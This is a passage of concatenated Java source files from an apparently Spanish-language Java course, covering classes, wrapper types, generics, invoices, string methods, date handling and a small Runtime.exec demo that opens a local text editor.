fabricante, String modelo, Color color) { this(fabricante, modelo); this.color = color; } public Automovil(String fabricante, String modelo, Color color, double cilindrada) { this(fabricante, modelo, color); this.cilindrada = cilindrada; } public Automovil(String fabricante, String modelo, Color color, double cilindrada, int capacidadEstanque) { this(fabricante, modelo, color, cilindrada); this.capacidadEstanque = capacidadEstanque; } public int getIdAuto() { return idAuto; } public void setIdAuto(int idAuto) { this.idAuto = idAuto; } public String getFabricante() { return fabricante; } public void setFabricante(String fabricante) { this.fabricante = fabricante; } public String getModelo() { return modelo; } public void setModelo(String modelo) { this.modelo = modelo; } public Color getColor() { return color; } public void setColor(Color color) { this.color = color; } public double getCilindrada() { return cilindrada; } public void setCilindrada(double cilindrada) { this.cilindrada = cilindrada; } public int getCapacidadEstanque() { return capacidadEstanque; } public void setCapacidadEstanque(int capacidadEstanque) { this.capacidadEstanque = capacidadEstanque; } public static Color getColorPatente() { return colorPatente; } public static void setColorPatente(Color colorPatente) { Automovil.colorPatente = colorPatente; } public static int getCapacidadEstanqueStatic() { return capacidadEstanqueStatic; } public TipoAutomovil getTipo() { return tipo; } public void setTipo(TipoAutomovil tipo) { this.tipo = tipo; } public static void setCapacidadEstanqueStatic(int capacidadEstanqueStatic) { Automovil.capacidadEstanqueStatic = capacidadEstanqueStatic; } public String verDetalle() { StringBuilder sb = new StringBuilder(); sb.append("\nthis.idAuto = " + this.idAuto); sb.append("\nthis.fabricante = " + this.fabricante); sb.append("\nthis.modelo = " + this.modelo); sb.append("\nthis.tipo = " + this.getTipo().getNombre()); sb.append("\nthis.puertas = " + this.getTipo().getNumeroPuertas()); sb.append("\nthis.color = " + this.color); sb.append("\nAutomovil.colorPatente = " + Automovil.colorPatente.getColor()); sb.append("\nthis.cilindrada = " + this.cilindrada); return sb.toString(); } public String acelerar(int revoluciones) { return "El Auto " + this.fabricante + " Acelerando A " + revoluciones + "rpm"; } public String frenar() { return this.fabricante + " " + this.modelo + " Frenando Correctamente!"; } public String acelerarFrenar(int rpm) { String acelerar = this.acelerar(rpm); String frenar = this.frenar(); return acelerar + "\n" + frenar; } public float calcularConsumo(int km, float porcentajeBencina) { return km / (porcentajeBencina * this.capacidadEstanque); } public float calcularConsumo(int km, int porcentajeBencina) { return km / ((porcentajeBencina/100F) * this.capacidadEstanque); } public static float calcularConsumoEstatico(int km, int porcentajeBencina) { return km / ((porcentajeBencina/100F) * Automovil.capacidadEstanqueStatic); } @Override public boolean equals(Object obj) { if(this == obj) { return true; } if(!(obj instanceof Automovil)) { return false; } Automovil autoObject = (Automovil) obj; return (this.fabricante != null && this.modelo != null && this.fabricante.equals(autoObject.getFabricante()) && this.modelo.equals(autoObject.getModelo())); } @Override public String toString() { return "Automovil{" + "id='" + idAuto + '\'' + ", fabricante='" + fabricante + '\'' + ", modelo='" + modelo + '\'' + ", tipo='" + tipo.getNombre() + '\'' + ", puertas='" + tipo.getNumeroPuertas() + '\'' + ", color='" + color + '\'' + ", cilindrada=" + cilindrada + ", capacidadEstanque=" + capacidadEstanque + '}'; } } <file_sep>package com._02_Variables._05_TiposReferenciaObjeto; public class _06_WrapperDouble { public static void objetoDouble() { Double doubleObject1 = Double.valueOf("3"); Double doubleObject2 = Double.valueOf(Double.MAX_VALUE); Double doubleObject3 = 3D; /** Pasar De Primitvo A Objeto (AutoBoxing) * Esto Se Puede Hacer De Forma Implicita También*/ double doublePrimitivo1 = Double.MIN_VALUE; Double doubleObject4 = Double.valueOf(doublePrimitivo1); /** Pasar De Objeto A Primitivo (AutoUnBoxing) * Esto Se Puede Hacer De Forma Implicita También */ Double doubleObject5 = Double.valueOf(doubleObject1); double doublePrimitivo2 = doubleObject5; double doublePrimitivo3 = doubleObject1.longValue(); String valorTvLcd = "670"; Long valorTV = Long.valueOf(valorTvLcd); System.out.println("\n========== CLASE WRAPPER DOUBLE =========="); System.out.println("doubleObject1 = " + doubleObject1); System.out.println("doubleObject2 = " + doubleObject2); System.out.println("doubleObject3 = " + doubleObject3); System.out.println("doubleObject4 = " + doubleObject4); System.out.println("doublePrimitivo2 = " + doublePrimitivo2); System.out.println("doublePrimitivo3 = " + doublePrimitivo3); System.out.println("valorTV = " + valorTV); } } <file_sep>package com._02_Variables._05_TiposReferenciaObjeto; public class _08_WrapperBoolean { public static void comparandoObjetos() { Integer numberObject1, numberObject2; numberObject1 = 1; numberObject2 = 2; boolean primitiveBoolean1 = numberObject1 > numberObject2; Boolean objectBoolean1 = Boolean.valueOf(primitiveBoolean1); Boolean objectBoolean2 = Boolean.valueOf(false); Boolean objectBoolean3 = Boolean.valueOf("true"); Boolean objectBoolean4 = true; boolean primitiveBoolean2 = objectBoolean1.booleanValue(); System.out.println("\n========== WRAPPER BOOLEAN RELACIONALES =========="); System.out.println("primitiveBoolean1 = " + primitiveBoolean1); System.out.println("primitiveBoolean2 = " + primitiveBoolean2); System.out.println("objectBoolean1 = " + objectBoolean1); System.out.println("objectBoolean2 = " + objectBoolean2); System.out.println("objectBoolean3 = " + objectBoolean3); System.out.println("objectBoolean4 = " + objectBoolean4); System.out.println("\n(==) En El Caso De Los Wrapper Boolean Se Compara Por El Valor!!! (OJO!!!)"); System.out.println("Comparando Boolean Wrapper Por El Valor Con El (==): " + (objectBoolean1 == objectBoolean2)); System.out.println("Comparando Boolean Wrapper Por El Valor Con El (==): " + (objectBoolean1.equals(objectBoolean2))); System.out.println("Comparando Boolean Wrapper Por El Valor Con El (==): " + (objectBoolean1 == objectBoolean3)); System.out.println("Comparando Boolean Wrapper Por El Valor Con El (==): " + (objectBoolean1.equals(objectBoolean4))); } } <file_sep>package com._13_POO._11_CrudDAOExceptions.Repositorio.Exceptions; public class AccesoDato extends Exception { public AccesoDato(String message) { super(message); } } <file_sep>package com._14_Generics.Metodos; import com._13_POO._09_CrudDAO.modelo.Cliente; import java.util.ArrayList; import java.util.Arrays; import java.util.List; public class _01_GenericosParametros { public static void genericosOgenerales() { System.out.println("========== GENERIC METHODS =========="); List<Cliente> clientes = new ArrayList<>(); clientes.add(new Cliente("Daniel", "Fernando")); /** Obtener Un Clientes De La Lista */ //Cliente andres = clientes.get(0); Cliente andres = clientes.iterator().next(); Cliente[] clientesArreglo = { new Cliente("Luciano", "Fernando"), new Cliente("Andres", "Camilo")}; Integer[] enterosArreglo = {1, 2, 3}; /** Método Stático Generico fromArrayToList */ List<Cliente> clientesLista = fromArrayToList(clientesArreglo); List<Integer> enterosLista = fromArrayToList(enterosArreglo); // Métodos De Referencia clientesLista.forEach(System.out::println); enterosLista.forEach(System.out::println); String[] nombresArreglo = {"Bea", "Max", "Luz", "Maxi"}; List<String> nombres = fromArrayToList(nombresArreglo, enterosArreglo); nombres.forEach(System.out::println); } /* Definimos Un Método Estatico Con UN Tipo De Dato Generico (PUEDE RECIBIR Y RETORNAR CUALQUIER TIPO DE DATO) Y Dicho Tipo De Dato Generico Viene Como Parametro */ // OJO!! <T> => Tipo De Dato Generico Para El Primer Parametro Definido T[], Pero, Retorna Una Lista De Dicho Tipo De Dato Generico List<T>. public static <T> List<T> fromArrayToList(T[] general) { /** Recibe Un Arreglo Generico Y Lo Convierte En Una Lista */ return Arrays.asList(general); } /* Definimos Un Método Estatico Con DOS Tipos De Datos Genericos (PUEDE RECIBIR Y RETORNAR CUALQUIER TIPO DE DATO) Y Dichos Tipos De Dato Genericos Vienen Como Parametros */ // OJO!! <T> => Tipo De Dato Generico Para El Primer Parametro Definido T[], Pero, Retorna Una Lista De Dicho Tipo De Dato Generico List<T>. // OJO!! <G> => Tipo De Dato Generico Para El Segundo Parametro Definido G[], Pero, Retorna Una Lista Del Primer Tipo De Dato Generico List<T>. public static <T, G> List<T> fromArrayToList(T[] parametroGeneral, G[] parametroGeneral2) { System.out.println(" "); for (G elemento: parametroGeneral2) { System.out.println(elemento); } /** Recibe Un Arreglo Y Lo Convierte En Una Lista */ return Arrays.asList(parametroGeneral); } } <file_sep>package com._05_EstructurasAlgoritmicas._03_IfElseIf; import java.util.Scanner; public class _02_EjercicioDiasMes { public static void numeroDiasMes() { int numeroDias = 0; Scanner teclado = new Scanner(System.in); System.out.println("Ingrese El Nùmero Del Mes Del 1 - 12: "); int mes = teclado.nextInt(); System.out.println("Ingrese El Número Del Año (YYYY): "); int anio = teclado.nextInt(); if(mes == 1 || mes == 3 || mes == 5 || mes == 7 || mes == 8 || mes == 10 || mes == 12) { numeroDias = 31; } else if (mes == 4 || mes == 6 || mes == 9 || mes == 11) { numeroDias = 30; } else if (mes == 2) { if (anio % 400 == 0 || ( (anio % 4 == 0) && !(anio % 100 == 0) ) ) { numeroDias = 29; } else { numeroDias = 28; } } System.out.println("\nAño = " + anio); System.out.println("Numero De Dias = " + numeroDias); } } <file_sep>package com._02_Variables._04_TipoDatoString; public class _04_Metodos { public static void StringMethods() { String nombre = "<NAME>"; System.out.println("\n========== MÈTODOS IMPORTANTES DE LOS STRING =========="); System.out.println("nombre.length() = " + nombre.length()); System.out.println("nombre.toUpperCase() = " + nombre.toUpperCase()); System.out.println("nombre.toLowerCase() = " + nombre.toLowerCase()); System.out.println("nombre.equals(\"<NAME>\") = " + nombre.equals("<NAME>")); System.out.println("nombre.equalsIgnoreCase(\"daniel fernando yepez vèlez\") = " + nombre.equalsIgnoreCase("<NAME>ando yepez vèlez")); System.out.println("nombre.compareTo(\"<NAME>\") = " + nombre.compareTo("<NAME>")); System.out.println("nombre.compareToIgnoreCase(\"<NAME>ando yepez vèlez\") = " + nombre.compareToIgnoreCase("<NAME> yepez vèlez")); System.out.println("nombre.charAt(3) = " + nombre.charAt(3)); System.out.println("nombre.charAt(nombre.length() - 1) = " + nombre.charAt(nombre.length() - 1)); System.out.println("nombre.substring(4) = " + nombre.substring(4)); System.out.println("nombre.substring(2,9) = " + nombre.substring(2,9)); String trabalenguas = "trabalenguas"; System.out.println("trabalenguas.replace(\"a\", \";\") = " + trabalenguas.replace("a", ";")); System.out.println("trabalenguas.indexOf(\"a\") = " + trabalenguas.indexOf("a")); System.out.println("trabalenguas.lastIndexOf(\"a\") = " + trabalenguas.lastIndexOf("a")); System.out.println("trabalenguas.contains(\"gua\") = " + trabalenguas.contains("gua")); System.out.println("trabalenguas.startsWith(\"lenguas\") = " + trabalenguas.startsWith("lenguas")); System.out.println("trabalenguas.endsWith(\"guas\") = " + trabalenguas.endsWith("guas")); System.out.println(" trabalenguas "); System.out.println(" trabalenguas ".trim()); } } <file_sep>package com._07_ClaseSystem; import java.io.IOException; public class _06_EjecutarSO { public static void EjecutarSistemaOperativo() { Runtime rt = Runtime.getRuntime(); Process proceso; System.out.println("\n========== EJECUTANDO LA CLASE RUNTIME =========="); try { if (System.getProperty("os.name").toLowerCase().startsWith("windows")) { proceso = rt.exec("notepad"); } else if(System.getProperty("os.name").toLowerCase().startsWith("mac")) { proceso = rt.exec("textedit"); } else if(System.getProperty("os.name").toLowerCase().startsWith("linux") || System.getProperty("os.name").toLowerCase().contains("nix")) { proceso = rt.exec("gedit"); } else { proceso = rt.exec("gedit"); } proceso.waitFor(); } catch (IOException | InterruptedException e) { e.printStackTrace(); System.err.println("El Comando Es Desconocido: " + e.getMessage()); } System.out.println("Se Ha Cerrado El Bloc De Notas"); } } <file_sep>package com._13_POO._04_Factura.Modelo; import java.text.SimpleDateFormat; import java.util.Date; public class Factura { private int idFolio; private Cliente cliente; private int indiceItems; private ItemFactura[] items; private String descripcion; private Date fecha; private static int ultimoFolio; public static final int MAX_ITEMS = 10; public Factura(Cliente cliente, String descripcion) { this.idFolio = ++Factura.ultimoFolio; this.items = new ItemFactura[Factura.MAX_ITEMS]; this.cliente = cliente; this.descripcion = descripcion; this.fecha = new Date(); } public int getIdFolio() { return idFolio; } public Cliente getCliente() { return cliente; } public void setCliente(Cliente cliente) { this.cliente = cliente; } public ItemFactura[] getItems() { return items; } public String getDescripcion() { return descripcion; } public void setDescripcion(String descripcion) { this.descripcion = descripcion; } public Date getFecha() { return fecha; } /* public void setFecha(Date fecha) { this.fecha = fecha; } */ public void addItemFactura(ItemFactura item) { if(indiceItems < MAX_ITEMS) { this.items[this.indiceItems++] = item; } } public double calcularTotal() { double total = 0; for (ItemFactura item: this.items) { if(item == null) { continue; } total += item.calcularImporte(); } return total; } public String verDetalle() { StringBuilder sb = new StringBuilder("Factura Nº: "); sb.append(this.idFolio) .append("\nCliente: ") .append(this.cliente.getNombre()) .append("\t RUT: ") .append(this.cliente.getRut()) .append("\nDescripcion: ") .append(this.descripcion) .append("\n"); SimpleDateFormat df = new SimpleDateFormat("dd 'De' MMMM, YYYY"); sb.append("Fecha Emisiòn: ") .append(df.format(this.fecha)) .append("\n") .append("\n#\tNOMBRE\t$\tCANTIDAD\tTOTAL\n"); for (ItemFactura item: this.items) { if(item == null) { continue; } sb.append(item) .append("\n"); /*sb.append(item.getProducto().getIdProducto()) .append("\t") .append(item.getProducto().getNombre()) .append("\t") .append(item.getProducto().getPrecio()) .append("\t") .append(item.getCantidad()) .append("\t") .append(item.calcularImporte()) .append("\n");*/ } sb.append("\nGran Total: ") .append(this.calcularTotal()); return sb.toString(); } @Override public String toString() { return this.verDetalle(); } } <file_sep>package com._14_Generics.Clases; import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class _01_Camion<T> implements Iterable<T> { private List<T> objetos; private int max; public _01_Camion(int max) { this.max = max; this.objetos = new ArrayList<>(); } public void add(T objeto) { if(this.objetos.size() <= max) { this.objetos.add(objeto); } else { throw new RuntimeException("No Hay Màs Espacio"); } } @Override public Iterator iterator() { return this.objetos.iterator(); } } <file_sep>package com._14_Generics.Clases; public class Main { public static void main(String[] args) { _01_Camion<_04_Animal> transporteCaballos = new _01_Camion<>(5); transporteCaballos.add(new _04_Animal("Peregrino", "Caballo")); transporteCaballos.add(new _04_Animal("grillo", "Caballo")); transporteCaballos.add(new _04_Animal("Tunquen", "Caballo")); transporteCaballos.add(new _04_Animal("Topocalma", "Caballo")); transporteCaballos.add(new _04_Animal("Longotoma", "Caballo")); imprimirCamion(transporteCaballos); _01_Camion<_03_Maquinaria> transporteMaquinas = new _01_Camion<>(3); transporteMaquinas.add(new _03_Maquinaria("Bulldozer")); transporteMaquinas.add(new _03_Maquinaria("Grúa Horquilla")); transporteMaquinas.add(new _03_Maquinaria("Perforadora")); System.out.println("-------"); imprimirCamion(transporteMaquinas); _01_Camion<_02_Automovil> transporteAuto = new _01_Camion<>(3); transporteAuto.add(new _02_Automovil("Toyota")); transporteAuto.add(new _02_Automovil("Mitsubishi")); transporteAuto.add(new _02_Automovil("Chevrolet")); System.out.println("-------"); imprimirCamion(transporteAuto); } public static <T> void imprimirCamion(_01_Camion<T> transporte) { for (T a: transporte) { if(a instanceof _04_Animal) { System.out.println(((_04_Animal) a).getNombre() + " Tipo: " + ((_04_Animal) a).getTipo()); } else if (a instanceof _02_Automovil) { System.out.println(((_02_Automovil) a).getMarca()); } else if (a instanceof _03_Maquinaria) { System.out.println(((_03_Maquinaria) a).getTipo()); } } } } <file_sep>package com._13_POO._10_CrudDAOGenerics.Repositorio; import java.util.List; public interface IOrdenable<T> { List<T> listar(String campo, Direccion dir); /* OTRA FORMA DE IMPLEMENTAR EL MÈTODO ordenar default int ordenar(String campo, Cliente a, Cliente b) { int resultado = 0; switch (campo) { case "id": resultado = a.getId().compareTo(b.getId()); case "nombre": resultado = a.getNombre().compareTo(b.getNombre()); case "apellido": resultado = a.getApellido().compareTo(b.getApellido()); } return resultado; } */ } <file_sep>package com._13_POO._00_Conceptos._04_Sobrecarga; public class Main { public static void main(String[] args) { Aritmetica aritmetica1 = new Aritmetica(); System.out.println("aritmetica1.a = " + aritmetica1.a); System.out.println("aritmetica1.b = " + aritmetica1.b); System.out.println(); Aritmetica aritmeticaArgs = new Aritmetica(5, 7); System.out.println("aritmeticaArgs.a = " + aritmeticaArgs.a); System.out.println("aritmeticaArgs.b = " + aritmeticaArgs.b); } } <file_sep>package com._13_POO._06_Herencia; public class MainHerencia { public static void main(String[] args) { /** Ejemplo Casteo Mètodo De Alumno A Persona */ Persona alumno2 = new Alumno(); ((Alumno)alumno2).setInstitucion("<NAME>"); System.out.println("((Alumno) alumno2).getInstitucion() = " + ((Alumno) alumno2).getInstitucion()); Alumno alumno = new Alumno(); alumno.setNombre("<NAME>"); alumno.setApellido("<NAME>"); alumno.setNotaCastellano(5.5); alumno.setNotaHistoria(6.3); alumno.setNotaMatematica(4.9); System.out.println("\nalumno.getNombre() + alumno.getApellido() = " + alumno.getNombre() + " " + alumno.getApellido()); AlumnoInternacional alumnoI = new AlumnoInternacional(); alumnoI.setNombre("Peter"); alumnoI.setApellido("Goslin"); alumnoI.setPais("Australia"); alumnoI.setInstitucion("Instituto Nacional"); alumnoI.setNotaIdiomas(6.8); alumnoI.setNotaCastellano(6.2); alumnoI.setNotaHistoria(5.8); alumnoI.setNotaMatematica(6.5); alumnoI.setEdad(15); System.out.println("\nalumnoI.getNombre() = " + alumnoI.getNombre()); System.out.println("alumnoI.getApellido() = " + alumnoI.getApellido()); System.out.println("alumnoI.getInstitucion() = " + alumnoI.getInstitucion()); System.out.println("alumnoI.getPais() = " + alumnoI.getPais() + "\n"); Class clase = alumnoI.getClass(); while (clase.getSuperclass() != null) { String hija = clase.getName(); String padre = clase.getSuperclass().getName(); System.out.println("Yo Soy La Clase Hija Desde Donde Estoy Iniciando: " + hija); clase = clase.getSuperclass(); } Profesor profesor = new Profesor(); profesor.setNombre("<NAME>"); profesor.setApellido("<NAME>"); profesor.setAsignatura("Matemàticas"); System.out.println("\nprofesor.getNombre() " + "+ profesor.getApellido() " + "+ profesor.getAsignatura() = " + profesor.getNombre() + " " + profesor.getApellido() + " " + profesor.getAsignatura()); } } <file_sep>package com._04_Operadores; public class _11_InstanceOf { public static void instancia() { Integer numero = 12; Double decimal = 45.54; Boolean booleano = false; String texto = "Creando Un Objeto De La Clase String.. Que Tal!!!"; boolean b1 = texto instanceof Object; boolean b2 = numero instanceof Object; boolean b3 = texto instanceof String; boolean b4 = numero instanceof Integer; boolean b5 = numero instanceof Number; boolean b6 = decimal instanceof Number; boolean b7 = booleano instanceof Boolean; System.out.println("\n========== OPERADOR INSTANCEOF =========="); System.out.println("¿Texto Es Del Tipo Object? = " + b1); System.out.println("¿Numero Es Del Tipo Object? = " + b2); System.out.println("¿Texto Es Del Tipo String? = " + b3); System.out.println("¿Numero Es Del Tipo Integer? = " + b4); System.out.println("¿Numero Es Del Tipo Number? = " + b5); System.out.println("¿Decimal Es Del Tipo Number? = " + b6); System.out.println("¿Booleano Es Del Tipo Boolean? = " + b7); } } <file_sep>package com._09_LineaDeComando; public class _02_Calculadora { public static void main(String[] args) { if(args.length != 3) { System.out.println("Por Favor Ingresar Una Operación (suma, resta, multi, div) Y Dos Números Enteros: "); System.exit(-1); } String operacion = args[0]; int a = Integer.parseInt(args[1]); int b = Integer.parseInt(args[2]); double resultado = 0.00; switch (operacion) { case "suma": resultado = a + b; break; case "resta": resultado = a - b; break; case "multi": resultado = a * b; break; case "div": if(b == 0) { System.out.println("No Se Puede Dividir Por Zero(0)!"); System.exit(-1); } resultado = (double) a / b; break; default: resultado = a + b; break; } System.out.println("Resultado De La Operaciòn " + operacion + " Es: " + resultado); } } <file_sep>package com._19_ExpresionesLambda._05_InterfazFuncional; import java.util.function.BiFunction; public class Calculadora { /* Con Las Expresiones Lambda No Funciona La Sobrecarga De Métodos */ public double computer(double a, double b, Aritmetica lambda) { return lambda.operacion(a, b); } public double computarConBifunction(double a, double b, BiFunction<Double, Double, Double> lambda) { return lambda.apply(a, b); } }<file_sep>package com._16_CollectionAPI._01_Set.TreeSet; public class Main { public static void main(String[] args) { Agregar.EjemploTreeSet(); Comparable.ejemploTreeSetComparable(); } } <file_sep>package com._03_Constantes; public class _01_Constantes { public static void ejemploConstantes() { final double PI = 3.1416; final double PULGADAS = 2.54; final String RESULTADO = "Hola Mundo"; System.out.println("\n======== VALORES CONSTANTES ======="); System.out.println("PI = " + PI); System.out.println("PULGADAS = " + PULGADAS); System.out.println("RESULTADO = " + RESULTADO); } } <file_sep>package com._13_POO._01_AutomovilExplicacion; public enum TipoAutomovil { SEDAN("Sedan", "Auto Normal", 4), STATION_WAGON("Station Wagon", "Auto Grande", 4), HATCHBACK("Hatchback", "Auto Compacto", 4), PICKUP("Pickup", "Camioneta", 4), COUPE("Coupe", "Auto Pequeño", 2), CONVERTIBLE("Convertible", "Auto Deportivo", 2), FURGON("Furgon", "Auto Utilizario", 4); private final String nombre; private final String descripcion; private final int numeroPuertas; TipoAutomovil(String nombre, String descripcion, int numeroPuertas) { this.nombre = nombre; this.descripcion = descripcion; this.numeroPuertas = numeroPuertas; } public String getNombre() { return nombre; } public String getDescripcion() { return descripcion; } public int getNumeroPuertas() { return numeroPuertas; } } <file_sep>package com._06_JavaUtil; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Scanner; public class _05_CompararFechas { public static void dateCompare() { System.out.println("\n========== COMPARAR FECHAS =========="); Scanner teclado = new Scanner(System.in); SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd"); System.out.println("Ingrese Una Fecha Con Formato 'yyyy-MM-dd': "); try { Date fecha = format.parse(teclado.nextLine()); Date fecha2 = new Date(); System.out.println("\nfecha = " + fecha); System.out.println("fecha2 = " + fecha2); System.out.println("format.format(fecha) = " + format.format(fecha)); /** Primera Forma De Comparar FECHAS */ System.out.println(); if (fecha.after(fecha2)) { System.out.println("Fecha Del Usuario Es Mayor Que La Fecha Actual"); } else if (fecha.before(fecha2)) { System.out.println("Fecha Del Usuario Es Menor Que La Fecha Actual"); } else if (fecha.equals(fecha2)) { System.out.println("Las Fechas Son Iguales"); } /** Segunda Forma De Comparar FECHAS */ if (fecha.compareTo(fecha2) > 0) { System.out.println("Fecha Del Usuario Es Mayor Que La Fecha Actual"); } else if (fecha.compareTo(fecha2) < 0) { System.out.println("Fecha Del Usuario Es Menor Que La Fecha Actual"); } else if (fecha.compareTo(fecha2) == 0) { System.out.println("Las Fechas Son Iguales"); } } catch (ParseException e) { e.printStackTrace(); } } } <file_sep>package com._02_Variables._03_ConversionDeTipos; public class _03_PrimitivosAPrimitivos { public static void primitivosAprimitivos() { /* En La Conversiòn De Primitivo A Primitivo Se Utiliza * El Concepto Del Cast O Casteo De Tipos */ byte numeroByte = 125; short numeroShort = 3854; int numeroInt = 5056; long numeroLong = 44678L; float numeroFloat = 45.45e3F; double numeroDouble = 32444.56e10D; /* Si El Valor Existente Se Va A Almacenar En Un Tipo De Dato * Superior O Igual Al Que Se Le Definiò Inicialmente Al Valor * Ya Existente, No Hay Ningùn Problema Por Que No Se Pierde * Informaciòn */ double numeroByteCastADouble = numeroByte; double numeroShortCastADouble = numeroShort; double numeroIntCastADouble = numeroInt; double numeroLongCastADouble = numeroLong; double numeroFloatCastADouble = numeroFloat; double numeroDoubleCastADouble = numeroDouble; /*(AMBIGUEDAD PELIGROSA) En El Casteo Se Puede Perder Informaciòn, * Si El Valor Existente Se Va A Almacenar En Un Tipo De Dato * Inferior Al Que Se Le Definiò Inicialmente Al Valor Ya Existente */ byte numeroDoubleCastAByte = (byte) numeroDouble; short numeroDoubleCastAShort = (short) numeroDouble; int numeroDoubleCastAInt = (int) numeroDouble; long numeroDoubleCastALong = (long) numeroDouble; float numeroDoubleCastAFloat = (float) numeroDouble; double numeroDoubleCast2ADouble = numeroDouble; System.out.println("\n********** \"Conversiòn De Primitivos A Primitivos\" **********"); System.out.println("========== Conversion Primitivo \"byte\" =========="); System.out.println("numeroByte = " + numeroByte); System.out.println("numeroByteCastADouble = " + numeroByteCastADouble); System.out.println("numeroDoubleCastAByte = " + numeroDoubleCastAByte); System.out.println("\n========== Conversion Primitivo \"short\" =========="); System.out.println("numeroShort = " + numeroShort); System.out.println("numeroShortCastADouble = " + numeroShortCastADouble); System.out.println("numeroDoubleCastAShort = " + numeroDoubleCastAShort); System.out.println("\n========== Conversion Primitivo \"int\" =========="); System.out.println("numeroInt = " + numeroInt); System.out.println("numeroIntCastADouble = " + numeroIntCastADouble); System.out.println("numeroDoubleCastAInt = " + numeroDoubleCastAInt); System.out.println("\n========== Conversion Primitivo \"long\" =========="); System.out.println("numeroLong = " + numeroLong); System.out.println("numeroLongCastADouble = " + numeroLongCastADouble); System.out.println("numeroDoubleCastALong = " + numeroDoubleCastALong); System.out.println("\n========== Conversion Primitivo \"float\" =========="); System.out.println("numeroFloat = " + numeroFloat); System.out.println("numeroFloatCastADouble = " + numeroFloatCastADouble); System.out.println("numeroDoubleCastAFloat = " + numeroDoubleCastAFloat); System.out.println("\n========== Conversion Primitivo \"double\" =========="); System.out.println("numeroDouble = " + numeroDouble); System.out.println("numeroDoubleCastADouble = " + numeroDoubleCastADouble); System.out.println("numeroDoubleCast2ADouble = " + numeroDoubleCast2ADouble); } } <file_sep>package com._02_Variables._01_TiposPrimitivos._01_Enteros; public class _02_short { public static void ValoresShort() { short valorNumeroShort = 32; /* Cuando Se Exceda El Valor O La Capacidad Máxima Del Tipo De Dato Definido Tendremos El Siguiente Error: */ /* incompatible types: possible lossy conversion from int to short */ /* short excederShort = 32768; */ /* Casteo O Conversión De Tipos */ /* El 32768 Es De Tipo Entero Y Lo Que Hacemos Es Castearlo O Convertirlo A Un Tipo short */ /* El Resultado Que Obtendremos Es Que No Se Esta Almacenando El 32768 Como Lo Habiamos Indicado, * Por Que El Compilador Nos Dice Que Si Estamos Seguros De Lo Que Estamos Haciendo, Ya Que Si * Queremos Almacenar Un Valor Que Supera El Rango Del Tipo De Dato Del Indicador, Estamos Expuestos * A Tener Resultados Con Imprecisiones, Así, Sea Casteado O Convertido */ short excederShort = (short) 32768; System.out.println("\n========= TIPO DE DATO PRIMITIVO \"short\" ========="); System.out.println("Tipo short Corresponde En Bits A: " + Short.SIZE); System.out.println("Tipo short Corresponde En Bytes A: " + Short.BYTES); System.out.println("Nùmero Minimo Aceptado: " + Short.MIN_VALUE); System.out.println("Nùmero Maximo Aceptado: " + Short.MAX_VALUE); System.out.println("Variable valorNumeroShort = " + valorNumeroShort); System.out.println("El Valor Es Muy Grande Para Lo Que Soporta El Tipo SHORT excederShort = " + excederShort + " Obtenemos Valores Con Imprecisiones Por Que Perdemos Bits"); } } <file_sep>package com._02_Variables._02_SistemasNumericos; public class _04_SistemaHexadecimal { public static void SistemaHexadecimal() { int numeroDecimal1 = 500; int numeroDecimal2 = 302; int numeroHexadecimal1 = 0x1f4; int numeroHexadecimal2 = 0x12e; System.out.println("\n=========== SISTEMA HEXADECIMAL =========="); System.out.println("Numero Hexadecimal De " + numeroDecimal1 + " = " + Integer.toHexString(numeroDecimal1)); System.out.println("Numero Hexadecimal De " + numeroDecimal2 + " = " + Integer.toHexString(numeroDecimal2)); System.out.println("Numero Decimal De 0x1f4" + " = " + numeroHexadecimal1); System.out.println("Numero Decimal De 0x12e" + " = " + numeroHexadecimal2); } } <file_sep>package com._02_Variables._02_SistemasNumericos; public class _02_SistemaBinario { public static void SistemaBinario() { int numeroDecimal1 = 500; int numeroDecimal2 = 302; int numeroBinario1 = 0b111110100; int numeroBinario2 = 0b100101110; System.out.println("\n=========== SISTEMA BINARIO =========="); System.out.println("Numero Binario De " + numeroDecimal1 + " = " + Integer.toBinaryString(numeroDecimal1)); System.out.println("Numero Binario De " + numeroDecimal2 + " = " + Integer.toBinaryString(numeroDecimal2)); System.out.println("Numero Decimal De 0b111110100" + " = " + numeroBinario1); System.out.println("Numero Decimal De 0b100101110" + " = " + numeroBinario2); } } <file_sep>package com._13_POO._10_CrudDAOGenerics.Repositorio; import java.util.List; public interface IPaginable<T> { List<T> listar(int desde, int hasta); } <file_sep>package com._01_HolaMundo; public class Main { public static void main(String[] args) { _01_HolaMundo.Saludo(); } } <file_sep>package com._02_Variables._05_TiposReferenciaObjeto; public class _02_WrapperShort { public static void objetoShort() { Short shortObject1 = Short.valueOf("3"); Short shortObject2 = Short.valueOf(Short.MAX_VALUE); Short shortObject3 = 3; /** Pasar De Primitvo A Objeto (AutoBoxing) * Esto Se Puede Hacer De Forma Implicita También*/ short shortPrimitivo1 = Short.MIN_VALUE; Short shortObject4 = Short.valueOf(shortPrimitivo1); /** Pasar De Objeto A Primitivo (AutoUnBoxing) * Esto Se Puede Hacer De Forma Implicita También */ Short shortObject5 = Short.valueOf(shortObject1); short shortPrimitivo2 = shortObject5; short shortPrimitivo3 = shortObject1.shortValue(); String valorTvLcd = "670"; Short valorTV = Short.valueOf(valorTvLcd); System.out.println("\n========== CLASE WRAPPER SHORT =========="); System.out.println("shortObject1 = " + shortObject1); System.out.println("shortObject2 = " + shortObject2); System.out.println("shortObject3 = " + shortObject3); System.out.println("shortObject4 = " + shortObject4); System.out.println("shortPrimitivo2 = " + shortPrimitivo2); System.out.println("shortPrimitivo3 = " + shortPrimitivo3); System.out.println("valorTV = " + valorTV); } } <file_sep>package com._13_POO._07_ClasesAbstractas.Elementos; import com._13_POO._07_ClasesAbstractas.Validadores.LargoValidador; import com._13_POO._07_ClasesAbstractas.Validadores.Validador; import com._13_POO._07_ClasesAbstractas.Validadores.mensaje.IMensajeFormatiable; import java.util.ArrayList; import java.util.List; abstract public class ElementoForm { protected String valor; protected String nombre; private List<Validador> validadores; private List<String> errores; public ElementoForm() { this.validadores = new ArrayList<Validador>(); this.errores = new ArrayList<String>(); } public ElementoForm(String nombre) { this(); this.nombre = nombre; } public String getNombre() { return nombre; } public void setValor(String valor) { this.valor = valor; } public List<String> getErrores() { return errores; } public ElementoForm addValidador(Validador validador) { this.validadores.add(validador); return this; } public boolean esValido() { for (Validador valid: this.validadores) { if(!valid.esValido(this.valor)) { if(valid instanceof IMensajeFormatiable) { this.errores.add(((LargoValidador) valid).getMensajeFormateado(this.nombre)); } else { 